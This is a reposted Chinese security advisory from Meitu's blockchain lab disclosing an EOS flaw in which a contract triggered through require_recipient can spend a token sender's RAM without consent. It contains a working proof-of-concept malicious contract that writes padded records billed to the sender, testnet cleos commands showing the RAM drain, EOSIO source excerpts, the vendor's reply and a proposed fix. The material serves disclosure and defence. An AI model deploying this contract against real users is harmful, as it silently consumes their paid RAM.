当前位置:主页 > 资料 >

警惕!EOS恶意合约可吞噬用户RAM漏洞分析
栏目分类:资料   发布日期:2018-08-02   浏览次数:

导读:本文为去找网小编(www.7zhao.net)为您推荐的警惕!EOS恶意合约可吞噬用户RAM漏洞分析,希望对您有所帮助,谢谢! 2018年7月23日,美图区块链实验室发现EOS恶意合约可吞噬用户RAM的安全漏

本文为去找网小编(www.7zhao.net)为您推荐的警惕!EOS恶意合约可吞噬用户RAM漏洞分析,希望对您有所帮助,谢谢!

内容来自www.7zhao.net



2018年7月23日,美图区块链实验室发现EOS恶意合约可吞噬用户RAM的安全漏洞。 

www.7zhao.net

经过反复调试确认后,于7月24日将问题提交EOSIO官方,并就漏洞细节与官方团队进行了充分沟通。

copyright www.7zhao.net

与此同时,考虑到各大交易所、钱包、空投方正处于这个漏洞的威胁之中,随时可能会被恶意利用,导致财产损失,美图区块链实验室决定负责任的对各相关方批漏这个漏洞信息。

copyright www.7zhao.net

在美图区块链实验室公众号、慢雾区、freebuf等媒体提出警示,“警惕 | 恶意EOS合约存在吞噬用户RAM的安全风险”。 内容来自www.7zhao.net

在经过与官方团队一周的沟通之后,官方已经充分理解了漏洞危害,并决定将在后期再挑选合适方案,对这个漏洞进行代码修补。

www.7zhao.net

为了避免在这段真空期内发生恶意利用攻击,美图区块链实验室决定将漏洞细节公布出来,供社区研究参考,以方便自查和防御。

本文来自去找www.7zhao.net

EOS 的合约可以通过require_recipient触发调用其他合约,设计这样的机制给合约的开发者提供了很大的便利性, 但是也带了新的问题,我们在测试中发现require_recipient 有可利用的漏洞导致RAM在不知情的情况下被滥用。

www.7zhao.net

某个用户给合约转账,合约可以在用户不知情的情况下消耗用户的RAM(下面的例子中可以消耗200多人民币的RAM) 去找(www.7zhao.net欢迎您

我们已经给 EOS 官方提了 issue ,并得到官方的回应 :

本文来自去找www.7zhao.net

Contracts delegating action processing to other contracts have a trust relationship with the other contracts. To prevent unexpected RAM consumption, the best way is to control all of the relevant accounts and contracts. A less attractive but possibly effective way is to only delegate to verified open source contracts that have been frozen by dropping ownership permissions. 
There have been discussions about how to provide relative certainty that you can delegate to an arbitrary contract and still be assured there will be no RAM consumption. Code has not yet been written and there is no schedule. Watch future release notes.
 去找(www.7zhao.net欢迎您 

这一漏洞需要引起各大交易所,钱包,空投方,以及用户的注意 本文来自去找www.7zhao.net

在问题没有解决之前,用户应避免使用有大量RAM的账号给陌生账号转账

copyright www.7zhao.net

在DAPP 的开发过程中, 为了获取转账信息, 一种方法是采用require_recipient来订阅转账通知, 原理是这样的: 欢迎访问www.7zhao.net

在系统合约eosio.token 的transfer 中, 转账时会分别通知from 和 to; 本文来自去找www.7zhao.net

如果账户to 本身是个合约账户, 并且也实现了相同的transfer 方法, 则这个to合约的transfer方法会被调用。

内容来自www.7zhao.net

void token::transfer( account_name from,
                      account_name to,
                      asset        quantity,
                      string       memo )
{
    eosio_assert( from != to, "cannot transfer to self" );
    require_auth( from );
    eosio_assert( is_account( to ), "to account does not exist");
    auto sym = quantity.symbol.name();
    stats statstable( _self, sym );
    const auto& st = statstable.get( sym );
    require_recipient( from );
    require_recipient( to );
    eosio_assert( quantity.is_valid(), "invalid quantity" );
    eosio_assert( quantity.amount > 0, "must transfer positive quantity" );
    eosio_assert( quantity.symbol == st.supply.symbol, "symbol precision mismatch" );
    eosio_assert( memo.size() <= 256, "memo has more than 256 bytes" );
    sub_balance( from, quantity );
    add_balance( to, quantity, from );
} 内容来自www.7zhao.net 

在自己的合约实现相同的transfer 方法:

去找(www.7zhao.net欢迎您

void komo::transfer(account_name from, account_name to, asset quantity, std::string memo)
{
  if (from == _self || to != _self) {
    return;
  }
  for (int i = 0; i < 100; i++) {
    // use from as payer!!
    _teams.emplace(from, [&](auto &t) {
      t.id = _teams.available_primary_key();
      t.name = from;
      t.total = quantity;
      t.big_dummy_str = std::string("wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww");
    });
  }
  return;
}
apply中允许eosio.token::transfer 触发调用。
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
extern "C" { \
    void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
        auto self = receiver; \
        if( action == N(onerror)) { \
            /* onerror is only valid if it is for the "eosio" code account and authorized by "eosio"'s "active permission */ \
            eosio_assert(code == N(eosio), "onerror action's are only valid from the \"eosio\" system account"); \
        } \
        if ((code == self || action == N(onerror)) || (code == N(eosio.token) && action == N(transfer)) ) { \
          TYPE thiscontract( self ); \
            switch( action ) { \
                EOSIO_API( TYPE, MEMBERS ) \
            } \
         /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
        } \
    } \
} \
EOSIO_ABI_EX(komo, (transfer)) 
内容来自www.7zhao.net

这个流程看似没什么问题,但是却带了安全隐患,可以恶意消耗账号from 的RAM 资源。 在上面的例子中 komo::transfer 故意用账户from 的授权写了很多无用的记录到state db, 而这个操作用户在授权eosio::transfer时是不知情的。 www.7zhao.net

在测试网络中分别创建3个账号, test11111111, test22222222, komo11111111(合约账户, 部署了上面的合约komo) 去找(www.7zhao.net欢迎您

测试之前查看 test11111111 RAM 资源 内容来自www.7zhao.net

$ ./x_cleos.sh get account test11111111
permissions:
     owner     1:    1 EOS61ErKWxHQF6AoSKRc5GJb2HmorQpsC6uciQq1kDiPcZVfHZAU5
        active     1:    1 EOS5eiF9mFxVqYG8Mjv7A2uE4ZDFAdqDQtrvgV3yWBGsiNz8LzZ5X
memory:
     quota:      32.6 MiB    used:     107.5 KiB 

内容来自www.7zhao.net

给普通账户 test22222222 转账 内容来自www.7zhao.net

./x_cleos.sh transfer -c eosio.token test11111111 test22222222 "1.0000 EOS" 欢迎访问www.7zhao.net 

再次查看test11111111 RAM资源

www.7zhao.net

$ ./x_cleos.sh get account test11111111
permissions:

     owner     1:    1 EOS61ErKWxHQF6AoSKRc5GJb2HmorQpsC6uciQq1kDiPcZVfHZAU5
        active     1:    1 EOS5eiF9mFxVqYG8Mjv7A2uE4ZDFAdqDQtrvgV3yWBGsiNz8LzZ5X
memory:
     quota:      32.6 MiB    use
d:     107.5 KiB 内容来自www.7zhao.net 

没有变化, 还是107.5 KiB;再给合约账户 komo11111111 转账

copyright www.7zhao.net

./x_cleos.sh transfer -c eosio.token test11111111 komo11111111 "1.0000 EOS" 

本文来自去找www.7zhao.net

再次查看test11111111 RAM资源, 发现被消耗了(142.2-107.5)= 34.7K 字节! 原因是上面komo::transfer 中的for 循环用账户test11111111的授权写了很多数据到state db

本文来自去找www.7zhao.net

$ ./x_cleos.sh get account

test1111
1111
permissions:
     owner     1:    1 EOS61ErKWxHQF6AoSKRc5GJb2HmorQpsC6uciQq1kDiPcZVfHZAU5
        active     1:    1 EOS5eiF9mFxVqYG8Mjv7A2uE4ZDFAdqDQtrvgV3yWBGsiNz8LzZ5X
memory:
     quota:      32.6 MiB    used:     142.2 KiB 欢迎访问www.7zhao.net 

因为komo::transfer 这个handler 是被eosio.token::transfer 中的require_recipient 触发的, 在代码中当前action 已有账户 from 的授权。 所以检查权限时不会报错。

去找(www.7zhao.net欢迎您

void apply_context::update_db_usage( const account_name& payer, int64_t delta ) {
   if( delta > 0 ) {
      if( !(privileged || payer == account_name(receiver)) ) {
         require_authorization( payer );
      }
   }
   trx_context.add_ram_usage(payer, delta);
}
void apply_context::require_authorization( const account_name& account ) {
   for( uint32_t i=0; i < act.authorization.size(); i++ ) {
     if( act.authorization[i].actor == account ) {
        used_authorizations[i] = true;
        return;
     }
   }
   EOS_ASSERT( false, missing_auth_exception, "missing authority of ${account}", ("account",account));
} 去找(www.7zhao.net欢迎您 

并且我们发现, 只要维持这个数据结构占据的字节不变,这个窃取的RAM在komo合约中是可以一直使用的。 欢迎访问www.7zhao.net

void apply_context::db_update_i64( int iterator, account_name payer, const char* buffer, size_t buffer_size ) {
   const key_value_object& obj = keyval_cache.get( iterator );
   const auto& table_obj = keyval_cache.get_table( obj.t_id );
   EOS_ASSERT( table_obj.code == receiver, table_access_violation, "db access violation" );
//   require_write_lock( table_obj.scope );
   const int64_t overhead = config::billable_size_v<key_value_object>;
   int64_t old_size = (int64_t)(obj.value.size() + overhead);
   int64_t new_size = (int64_t)(buffer_size + overhead);
   if( payer == account_name() ) payer = obj.payer;
   if( account_name(obj.payer) != payer ) {
      // refund the existing payer
      update_db_usage( obj.payer,  -(old_size) );
      // charge the new payer
      update_db_usage( payer,  (new_size));
   } else if(old_size != new_size) {
      // charge/refund the existing payer the difference
      update_db_usage( obj.payer, new_size - old_size);
   }
   db.modify( obj, [&]( auto& o ) {
     o.value.resize( buffer_size );
     memcpy( o.value.data(), buffer, buffer_size );
     o.payer = payer;
   });
} 

去找(www.7zhao.net欢迎您

我们建议的修复办法是:在require_recipient触发action handler 执行时, 禁止被触发的handler 使用当前action 的授权。 copyright www.7zhao.net

被触发的 action handler 有存储要求怎么办? 可以使用inline actions 来解决, inline action 被执行时就不会用到原来action 的授权了。 去找(www.7zhao.net欢迎您

请参考我们之前发布的漏洞预警信息。 内容来自www.7zhao.net

 

欢迎访问www.7zhao.net

美图区块链实验室 & 美图安全应急响应中心联合声明

内容来自www.7zhao.net

*本文作者:美图安全应急响应中心,转载请注明来自FreeBuf.COM

内容来自www.7zhao.net

去找(www.7zhao.net欢迎您


本文原文地址:http://www.freebuf.com/vuls/179515.html

以上为警惕!EOS恶意合约可吞噬用户RAM漏洞分析文章的全部内容,若您也有好的文章,欢迎与我们分享! 内容来自www.7zhao.net

Copyright ©2008-2017去找网版权所有   皖ICP备12002049号-2 皖公网安备 34088102000435号   关于我们|联系我们| 免责声明|友情链接|网站地图|手机版